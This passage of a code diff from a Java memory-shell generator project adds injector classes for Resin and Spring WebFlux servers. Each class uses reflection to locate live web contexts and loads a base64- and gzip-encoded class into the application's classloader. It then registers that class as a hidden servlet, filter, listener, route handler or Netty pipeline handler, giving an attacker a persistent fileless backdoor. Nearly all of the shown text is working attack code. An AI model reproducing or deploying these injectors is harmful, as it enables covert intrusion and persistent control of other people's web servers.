+        return Arrays.asList(contexts.toArray());
+    }
+
+    public ClassLoader getWebAppClassLoader(Object context) throws Exception {
+        try {
+            return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
+        } catch (Exception e) {
+            return ((ClassLoader) getFieldValue(context, "_classLoader"));
+        }
+    }
+
+    @SuppressWarnings("all")
+    private Object getShell(Object context) throws Exception {
+        ClassLoader classLoader = getWebAppClassLoader(context);
+        try {
+            return classLoader.loadClass(getClassName()).newInstance();
+        } catch (Exception e) {
+            byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
+            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+            defineClass.setAccessible(true);
+            Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
+            return clazz.newInstance();
+        }
+    }
+
+    private void inject(Object context, Object filter) throws Exception {
+        if (isInjected(context)) {
+            System.out.println("filter already injected");
+            return;
+        }
+        Class<?> filterMappingClass = context.getClass().getClassLoader().loadClass("com.caucho.server.dispatch.FilterMapping");
+        Object filterMappingImpl = filterMappingClass.newInstance();
+        invokeMethod(filterMappingImpl, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
+        invokeMethod(filterMappingImpl, "setFilterClass", new Class[]{String.class}, new Object[]{getClassName()});
+        Object urlPattern = invokeMethod(filterMappingImpl, "createUrlPattern", null, null);
+        invokeMethod(urlPattern, "addText", new Class[]{String.class}, new Object[]{getUrlPattern()});
+        invokeMethod(urlPattern, "init", null, null);
+        invokeMethod(context, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMappingImpl});
+        invokeMethod(context, "clearCache", null, null);
+        System.out.println("filter injected");
+    }
+
+    @SuppressWarnings("all")
+    public boolean isInjected(Object context) throws Exception {
+        Map<String, Object> filters = (Map) getFieldValue(getFieldValue(context, "_filterManager"), "_filters");
+        for (String key : filters.keySet()) {
+            if (key.contains(getClassName())) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] decodeBase64(String base64Str) throws Exception {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        GZIPInputStream gzipInputStream = null;
+        try {
+            gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
+            byte[] buffer = new byte[4096];
+            int n;
+            while ((n = gzipInputStream.read(buffer)) > 0) {
+                out.write(buffer, 0, n);
+            }
+            return out.toByteArray();
+        } finally {
+            if (gzipInputStream != null) {
+                gzipInputStream.close();
+            }
+            out.close();
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String name) throws Exception {
+        Class<?> clazz = obj.getClass();
+        while (clazz != Object.class) {
+            try {
+                Field field = clazz.getDeclaredField(name);
+                field.setAccessible(true);
+                return field.get(obj);
+            } catch (NoSuchFieldException var5) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        throw new NoSuchFieldException();
+    }
+
+    @SuppressWarnings("all")
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
+        try {
+            Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+            Method method = null;
+            while (clazz != null && method == null) {
+                try {
+                    if (paramClazz == null) {
+                        method = clazz.getDeclaredMethod(methodName);
+                    } else {
+                        method = clazz.getDeclaredMethod(methodName, paramClazz);
+                    }
+                } catch (NoSuchMethodException e) {
+                    clazz = clazz.getSuperclass();
+                }
+            }
+            if (method == null) {
+                throw new NoSuchMethodException("Method not found: " + methodName);
+            }
+
+            method.setAccessible(true);
+            return method.invoke(obj instanceof Class ? null : obj, param);
+        } catch (Exception e) {
+            throw new RuntimeException("Error invoking method: " + methodName, e);
+        }
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinListenerInjector.java

@@ -0,0 +1,171 @@
+package com.reajason.javaweb.memshell.injector.resin;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.util.Arrays;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Set;
+import java.util.zip.GZIPInputStream;
+
+/**
+ * @author ReaJason
+ */
+public class ResinListenerInjector {
+    static {
+        new ResinListenerInjector();
+    }
+
+    public ResinListenerInjector() {
+        try {
+            List<Object> contexts = getContext();
+            for (Object context : contexts) {
+                Object listener = getShell(context);
+                inject(context, listener);
+            }
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+
+    public String getClassName() {
+        return "{{className}}";
+    }
+
+    public String getBase64String() throws IOException {
+        return "{{base64Str}}";
+    }
+
+    public List<Object> getContext() throws Exception {
+        Set<Object> contexts = new HashSet<Object>();
+        Set<Thread> threads = Thread.getAllStackTraces().keySet();
+        for (Thread thread : threads) {
+            Class<?> servletInvocationClass = null;
+            try {
+                servletInvocationClass = thread.getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation");
+            } catch (Exception e) {
+                continue;
+            }
+            if (servletInvocationClass != null) {
+                Object contextRequest = servletInvocationClass.getMethod("getContextRequest").invoke(null);
+                Object webApp = invokeMethod(contextRequest, "getWebApp", new Class[0], new Object[0]);
+                contexts.add(webApp);
+            }
+        }
+        return Arrays.asList(contexts.toArray());
+    }
+
+    public ClassLoader getWebAppClassLoader(Object context) throws Exception {
+        try {
+            return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
+        } catch (Exception e) {
+            return ((ClassLoader) getFieldValue(context, "_classLoader"));
+        }
+    }
+
+    @SuppressWarnings("all")
+    private Object getShell(Object context) throws Exception {
+        ClassLoader classLoader = getWebAppClassLoader(context);
+        try {
+            return classLoader.loadClass(getClassName()).newInstance();
+        } catch (Exception e) {
+            byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
+            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+            defineClass.setAccessible(true);
+            Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
+            return clazz.newInstance();
+        }
+    }
+
+    private void inject(Object context, Object listener) throws Exception {
+        List<Object> listeners = (List<Object>) getFieldValue(context, "_requestListeners");
+        for (Object o : listeners) {
+            if (o.getClass().getName().contains(getClassName())) {
+                System.out.println("listener already injected");
+                return;
+            }
+        }
+        invokeMethod(context, "addListenerObject", new Class[]{Object.class, boolean.class}, new Object[]{listener, true});
+        // 清除缓存，否则某些 uri 无法连接
+        invokeMethod(context, "clearCache", null, null);
+        System.out.println("listener injected successfully");
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] decodeBase64(String base64Str) throws Exception {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        GZIPInputStream gzipInputStream = null;
+        try {
+            gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
+            byte[] buffer = new byte[4096];
+            int n;
+            while ((n = gzipInputStream.read(buffer)) > 0) {
+                out.write(buffer, 0, n);
+            }
+            return out.toByteArray();
+        } finally {
+            if (gzipInputStream != null) {
+                gzipInputStream.close();
+            }
+            out.close();
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String name) throws Exception {
+        Class<?> clazz = obj.getClass();
+        while (clazz != Object.class) {
+            try {
+                Field field = clazz.getDeclaredField(name);
+                field.setAccessible(true);
+                return field.get(obj);
+            } catch (NoSuchFieldException var5) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        throw new NoSuchFieldException();
+    }
+
+    @SuppressWarnings("all")
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
+        try {
+            Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+            Method method = null;
+            while (clazz != null && method == null) {
+                try {
+                    if (paramClazz == null) {
+                        method = clazz.getDeclaredMethod(methodName);
+                    } else {
+                        method = clazz.getDeclaredMethod(methodName, paramClazz);
+                    }
+                } catch (NoSuchMethodException e) {
+                    clazz = clazz.getSuperclass();
+                }
+            }
+            if (method == null) {
+                throw new NoSuchMethodException("Method not found: " + methodName);
+            }
+
+            method.setAccessible(true);
+            return method.invoke(obj instanceof Class ? null : obj, param);
+        } catch (Exception e) {
+            throw new RuntimeException("Error invoking method: " + methodName, e);
+        }
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinServletInjector.java

@@ -0,0 +1,181 @@
+package com.reajason.javaweb.memshell.injector.resin;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.util.*;
+import java.util.zip.GZIPInputStream;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/21
+ */
+public class ResinServletInjector {
+
+    static {
+        new ResinServletInjector();
+    }
+
+    public ResinServletInjector() {
+        try {
+            List<Object> contexts = getContext();
+            for (Object context : contexts) {
+                Object servlet = getShell(context);
+                inject(context, servlet);
+            }
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+
+    public String getUrlPattern() {
+        return "{{urlPattern}}";
+    }
+
+    public String getClassName() {
+        return "{{className}}";
+    }
+
+    public String getBase64String() throws IOException {
+        return "{{base64Str}}";
+    }
+
+    public List<Object> getContext() throws Exception {
+        Set<Object> contexts = new HashSet<Object>();
+        Set<Thread> threads = Thread.getAllStackTraces().keySet();
+        for (Thread thread : threads) {
+            try {
+                Class<?> servletInvocationClass = thread.getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation");
+                Object contextRequest = servletInvocationClass.getMethod("getContextRequest").invoke(null);
+                Object webApp = invokeMethod(contextRequest, "getWebApp", new Class[0], new Object[0]);
+                contexts.add(webApp);
+            } catch (Exception ignored) {
+            }
+        }
+        return Arrays.asList(contexts.toArray());
+    }
+
+    public ClassLoader getWebAppClassLoader(Object context) throws Exception {
+        try {
+            return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
+        } catch (Exception e) {
+            return ((ClassLoader) getFieldValue(context, "_classLoader"));
+        }
+    }
+
+    @SuppressWarnings("all")
+    private Object getShell(Object context) throws Exception {
+        ClassLoader classLoader = getWebAppClassLoader(context);
+        try {
+            return classLoader.loadClass(getClassName()).newInstance();
+        } catch (Exception e) {
+            byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
+            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+            defineClass.setAccessible(true);
+            Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
+            return clazz.newInstance();
+        }
+    }
+
+    private void inject(Object context, Object servlet) throws Exception {
+        if (isInjected(context)) {
+            System.out.println("servlet already injected");
+            return;
+        }
+        Class<?> servletMappingClass = context.getClass().getClassLoader().loadClass("com.caucho.server.dispatch.ServletMapping");
+        Object servletMapping = servletMappingClass.newInstance();
+        invokeMethod(servletMapping, "setServletName", new Class[]{String.class}, new Object[]{getClassName()});
+        invokeMethod(servletMapping, "setServletClass", new Class[]{String.class}, new Object[]{getClassName()});
+        invokeMethod(servletMapping, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
+        invokeMethod(context, "addServletMapping", new Class[]{servletMappingClass}, new Object[]{servletMapping});
+        System.out.println("servlet injected success");
+    }
+
+    @SuppressWarnings("all")
+    public boolean isInjected(Object context) throws Exception {
+        Map<String, Object> servlets = (Map) getFieldValue(getFieldValue(context, "_servletManager"), "_servlets");
+        for (String key : servlets.keySet()) {
+            if (key.contains(getClassName())) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] decodeBase64(String base64Str) throws Exception {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        GZIPInputStream gzipInputStream = null;
+        try {
+            gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
+            byte[] buffer = new byte[4096];
+            int n;
+            while ((n = gzipInputStream.read(buffer)) > 0) {
+                out.write(buffer, 0, n);
+            }
+            return out.toByteArray();
+        } finally {
+            if (gzipInputStream != null) {
+                gzipInputStream.close();
+            }
+            out.close();
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String name) throws Exception {
+        Class<?> clazz = obj.getClass();
+        while (clazz != Object.class) {
+            try {
+                Field field = clazz.getDeclaredField(name);
+                field.setAccessible(true);
+                return field.get(obj);
+            } catch (NoSuchFieldException var5) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        throw new NoSuchFieldException();
+    }
+
+    @SuppressWarnings("all")
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
+        try {
+            Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+            Method method = null;
+            while (clazz != null && method == null) {
+                try {
+                    if (paramClazz == null) {
+                        method = clazz.getDeclaredMethod(methodName);
+                    } else {
+                        method = clazz.getDeclaredMethod(methodName, paramClazz);
+                    }
+                } catch (NoSuchMethodException e) {
+                    clazz = clazz.getSuperclass();
+                }
+            }
+            if (method == null) {
+                throw new NoSuchMethodException("Method not found: " + methodName);
+            }
+
+            method.setAccessible(true);
+            return method.invoke(obj instanceof Class ? null : obj, param);
+        } catch (Exception e) {
+            throw new RuntimeException("Error invoking method: " + methodName, e);
+        }
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxHandlerFunctionInjector.java

@@ -0,0 +1,161 @@
+package com.reajason.javaweb.memshell.injector.springwebflux;
+
+import org.springframework.util.Base64Utils;
+import org.springframework.web.reactive.function.server.*;
+import org.springframework.web.reactive.function.server.support.RouterFunctionMapping;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.util.List;
+import java.util.Set;
+import java.util.zip.GZIPInputStream;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/25
+ */
+public class SpringWebFluxHandlerFunctionInjector {
+
+    static {
+        new SpringWebFluxHandlerFunctionInjector();
+    }
+
+    public String getUrlPattern() {
+        return "{{urlPattern}}";
+    }
+
+    public String getClassName() {
+        return "{{className}}";
+    }
+
+    public String getBase64String() throws IOException {
+        return "{{base64Str}}";
+    }
+
+    public SpringWebFluxHandlerFunctionInjector() {
+        try {
+            Object webHandler = getWebHandler();
+            Object functionObj = getShell();
+            inject(webHandler, functionObj);
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+
+    public Object getWebHandler() throws Exception {
+        Set<Thread> threads = Thread.getAllStackTraces().keySet();
+        for (Thread thread : threads) {
+            if (thread.getClass().getName().contains("NettyWebServer")) {
+                Object nettyWebServer = getFieldValue(thread, "this$0");
+                Object reactorHttpHandlerAdapter = getFieldValue(nettyWebServer, "handler");
+                Object httpHandler = getFieldValue(reactorHttpHandlerAdapter, "httpHandler");
+                return getFieldValue(getFieldValue(getFieldValue(httpHandler, "delegate"), "delegate"), "delegate");
+            }
+        }
+        return null;
+    }
+
+    private Object getShell() throws Exception {
+        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
+        Object interceptor = null;
+        try {
+            interceptor = classLoader.loadClass(getClassName()).newInstance();
+        } catch (Exception e) {
+            byte[] clazzByte = gzipDecompress(Base64Utils.decodeFromString(getBase64String()));
+            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+            defineClass.setAccessible(true);
+            Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
+            interceptor = clazz.newInstance();
+        }
+        return interceptor;
+    }
+
+    @SuppressWarnings("unchecked")
+    public void inject(Object webHandler, Object functionObj) throws Exception {
+        Object handler = getFieldValue(webHandler, "delegate");
+        List<Object> handlerMappings = (List<Object>) invokeMethod(handler, "getHandlerMappings", null, null);
+        RouterFunctionMapping routerFunctionMapping = null;
+        for (Object handlerMapping : handlerMappings) {
+            if (handlerMapping.getClass().getName().contains("RouterFunctionMapping")) {
+                routerFunctionMapping = (RouterFunctionMapping) handlerMapping;
+                break;
+            }
+        }
+        RouterFunction<?> routerFunction = routerFunctionMapping.getRouterFunction();
+        RouterFunction<ServerResponse> newRouterFunction = RouterFunctions.route(RequestPredicates.path(getUrlPattern()), ((HandlerFunction) functionObj));
+
+        if (routerFunction == null) {
+            routerFunction = newRouterFunction;
+            RouterFunctions.changeParser(routerFunction, routerFunctionMapping.getPathPatternParser());
+        } else {
+            try {
+                // 缺陷，没法遍历所有的 RouterFunction 来进行判断，所以一个服务每一次注入都尽量更改 urlPattern
+                HandlerFunction<?> handlerFunction = (HandlerFunction<?>) getFieldValue(routerFunction, "handlerFunction");
+                if (handlerFunction.getClass().getName().equals(getClassName())) {
+                    System.out.println("routerFunction already injected");
+                    return;
+                }
+            } catch (Exception ignored) {
+            }
+            routerFunction = newRouterFunction.andOther(routerFunction);
+        }
+        Field field = routerFunctionMapping.getClass().getDeclaredField("routerFunction");
+        field.setAccessible(true);
+        field.set(routerFunctionMapping, routerFunction);
+        System.out.println("routerFunction inject successful");
+    }
+
+    @SuppressWarnings("all")
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws
+            Exception {
+        Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+        Method method = null;
+        while (clazz != null && method == null) {
+            try {
+                if (paramClazz == null) {
+                    method = clazz.getDeclaredMethod(methodName);
+                } else {
+                    method = clazz.getDeclaredMethod(methodName, paramClazz);
+                }
+            } catch (NoSuchMethodException e) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        if (method == null) {
+            throw new NoSuchMethodException("Method not found: " + methodName);
+        }
+        method.setAccessible(true);
+        return method.invoke(obj instanceof Class ? null : obj, param);
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
+        try (ByteArrayOutputStream out = new ByteArrayOutputStream();
+             GZIPInputStream gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData))) {
+            byte[] buffer = new byte[4096];
+            int n;
+            while ((n = gzipInputStream.read(buffer)) > 0) {
+                out.write(buffer, 0, n);
+            }
+            return out.toByteArray();
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String name) throws Exception {
+        Class<?> clazz = obj.getClass();
+        while (clazz != Object.class) {
+            try {
+                Field field = clazz.getDeclaredField(name);
+                field.setAccessible(true);
+                return field.get(obj);
+            } catch (NoSuchFieldException var5) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        throw new NoSuchFieldException();
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxHandlerMethodInjector.java

@@ -0,0 +1,153 @@
+package com.reajason.javaweb.memshell.injector.springwebflux;
+
+import org.springframework.util.Base64Utils;
+import org.springframework.web.method.HandlerMethod;
+import org.springframework.web.reactive.result.method.RequestMappingInfo;
+import org.springframework.web.reactive.result.method.annotation.RequestMappingHandlerMapping;
+import org.springframework.web.server.ServerWebExchange;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.util.Collection;
+import java.util.List;
+import java.util.Set;
+import java.util.zip.GZIPInputStream;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/25
+ */
+public class SpringWebFluxHandlerMethodInjector {
+
+    static {
+        new SpringWebFluxHandlerMethodInjector();
+    }
+
+    public String getUrlPattern() {
+        return "{{urlPattern}}";
+    }
+
+    public String getClassName() {
+        return "{{className}}";
+    }
+
+    public String getBase64String() throws IOException {
+        return "{{base64Str}}";
+    }
+
+    public SpringWebFluxHandlerMethodInjector() {
+        try {
+            Object webHandler = getWebHandler();
+            Object handlerMethod = getShell();
+            inject(webHandler, handlerMethod);
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+
+    public Object getWebHandler() throws Exception {
+        Set<Thread> threads = Thread.getAllStackTraces().keySet();
+        for (Thread thread : threads) {
+            if (thread.getClass().getName().contains("NettyWebServer")) {
+                Object nettyWebServer = getFieldValue(thread, "this$0");
+                Object reactorHttpHandlerAdapter = getFieldValue(nettyWebServer, "handler");
+                Object httpHandler = getFieldValue(reactorHttpHandlerAdapter, "httpHandler");
+                return getFieldValue(getFieldValue(getFieldValue(httpHandler, "delegate"), "delegate"), "delegate");
+            }
+        }
+        return null;
+    }
+
+    private Object getShell() throws Exception {
+        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
+        Object interceptor = null;
+        try {
+            interceptor = classLoader.loadClass(getClassName()).newInstance();
+        } catch (Exception e) {
+            byte[] clazzByte = gzipDecompress(Base64Utils.decodeFromString(getBase64String()));
+            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+            defineClass.setAccessible(true);
+            Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
+            interceptor = clazz.newInstance();
+        }
+        return interceptor;
+    }
+
+    @SuppressWarnings("unchecked")
+    public void inject(Object webHandler, Object handlerMethod) throws Exception {
+        Object handler = getFieldValue(webHandler, "delegate");
+        List<Object> handlerMappings = (List<Object>) invokeMethod(handler, "getHandlerMappings", null, null);
+        RequestMappingHandlerMapping requestMappingHandlerMapping = null;
+        for (Object handlerMapping : handlerMappings) {
+            if (handlerMapping.getClass().getName().contains("RequestMappingHandlerMapping")) {
+                requestMappingHandlerMapping = (RequestMappingHandlerMapping) handlerMapping;
+                break;
+            }
+        }
+        Collection<HandlerMethod> values = requestMappingHandlerMapping.getHandlerMethods().values();
+        Method method = handlerMethod.getClass().getMethod("invoke", ServerWebExchange.class);
+        for (HandlerMethod value : values) {
+            if (value.getMethod().equals(method)) {
+                System.out.println("handlerMethod already injected");
+                return;
+            }
+        }
+        RequestMappingInfo requestMappingInfo = RequestMappingInfo.paths(getUrlPattern()).build();
+        invokeMethod(requestMappingHandlerMapping, "registerHandlerMethod", new Class[]{Object.class, Method.class, RequestMappingInfo.class}, new Object[]{handlerMethod, method, requestMappingInfo});
+        System.out.println("handlerMethod inject successful");
+    }
+
+    @SuppressWarnings("all")
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws
+            Exception {
+        Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+        Method method = null;
+        while (clazz != null && method == null) {
+            try {
+                if (paramClazz == null) {
+                    method = clazz.getDeclaredMethod(methodName);
+                } else {
+                    method = clazz.getDeclaredMethod(methodName, paramClazz);
+                }
+            } catch (NoSuchMethodException e) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        if (method == null) {
+            throw new NoSuchMethodException("Method not found: " + methodName);
+        }
+        method.setAccessible(true);
+        return method.invoke(obj instanceof Class ? null : obj, param);
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
+        try (ByteArrayOutputStream out = new ByteArrayOutputStream();
+             GZIPInputStream gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData))) {
+            byte[] buffer = new byte[4096];
+            int n;
+            while ((n = gzipInputStream.read(buffer)) > 0) {
+                out.write(buffer, 0, n);
+            }
+            return out.toByteArray();
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String name) throws Exception {
+        Class<?> clazz = obj.getClass();
+        while (clazz != Object.class) {
+            try {
+                Field field = clazz.getDeclaredField(name);
+                field.setAccessible(true);
+                return field.get(obj);
+            } catch (NoSuchFieldException var5) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        throw new NoSuchFieldException();
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxNettyHandlerInjector.java

@@ -0,0 +1,145 @@
+package com.reajason.javaweb.memshell.injector.springwebflux;
+
+import io.netty.channel.Channel;
+import io.netty.channel.ChannelHandler;
+import io.netty.channel.ChannelPipeline;
+import reactor.netty.ChannelPipelineConfigurer;
+import reactor.netty.ConnectionObserver;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.net.SocketAddress;
+import java.util.Set;
+import java.util.zip.GZIPInputStream;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/26
+ */
+public class SpringWebFluxNettyHandlerInjector implements ChannelPipelineConfigurer {
+
+    static {
+        new SpringWebFluxNettyHandlerInjector();
+    }
+
+    public String getClassName() {
+        return "{{className}}";
+    }
+
+    public String getBase64String() throws IOException {
+        return "{{base64Str}}";
+    }
+
+    public SpringWebFluxNettyHandlerInjector() {
+        try {
+            Object nettyServer = getNettyServer();
+            handlerClass = getShellClass();
+            inject(nettyServer);
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+
+    private Class<?> handlerClass;
+
+    public Object getNettyServer() throws Exception {
+        Set<Thread> threads = Thread.getAllStackTraces().keySet();
+        for (Thread thread : threads) {
+            if (thread.getClass().getName().contains("NettyWebServer")) {
+                return thread;
+            }
+        }
+        return null;
+    }
+
+    private Class<?> getShellClass() throws Exception {
+        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
+        try {
+            return classLoader.loadClass(getClassName());
+        } catch (Exception e) {
+            byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
+            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+            defineClass.setAccessible(true);
+            return (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
+        }
+    }
+
+    public void inject(Object nettyServer) throws Exception {
+        Object config = getFieldValue(getFieldValue(nettyServer, "val$disposableServer"), "config");
+        setFieldValue(config, "doOnChannelInit", this);
+        System.out.println("netty handler injected successfully");
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] decodeBase64(String base64Str) throws Exception {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        GZIPInputStream gzipInputStream = null;
+
+        try {
+            gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
+            byte[] buffer = new byte[4096];
+            int n;
+            while ((n = gzipInputStream.read(buffer)) > 0) {
+                out.write(buffer, 0, n);
+            }
+        } finally {
+            if (gzipInputStream != null) {
+                try {
+                    gzipInputStream.close();
+                } catch (IOException ignored) {
+                }
+            }
+            out.close();
+        }
+        return out.toByteArray();
+    }
+
+    public Field getField(final Class<?> clazz, final String fieldName) {
+        Field field = null;
+        try {
+            field = clazz.getDeclaredField(fieldName);
+            field.setAccessible(true);
+        } catch (NoSuchFieldException ex) {
+            if (clazz.getSuperclass() != null) {
+                field = getField(clazz.getSuperclass(), fieldName);
+            }
+        }
+        return field;
+    }
+
+    public Object getFieldValue(final Object obj, final String fieldName) throws Exception {
+        final Field field = getField(obj.getClass(), fieldName);
+        return field.get(obj);
+    }
+
+    public void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
+        final Field field = getField(obj.getClass(), fieldName);
+        field.set(obj, value);
+    }
+
+    @Override
+    public void onChannelInit(ConnectionObserver connectionObserver, Channel channel, SocketAddress remoteAddress) {
+        ChannelPipeline pipeline = channel.pipeline();
+        try {
+            pipeline.addBefore("reactor.left.httpTrafficHandler", "memshell_handler", ((ChannelHandler) handlerClass.newInstance()));
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxWebFilterInjector.java

@@ -0,0 +1,126 @@
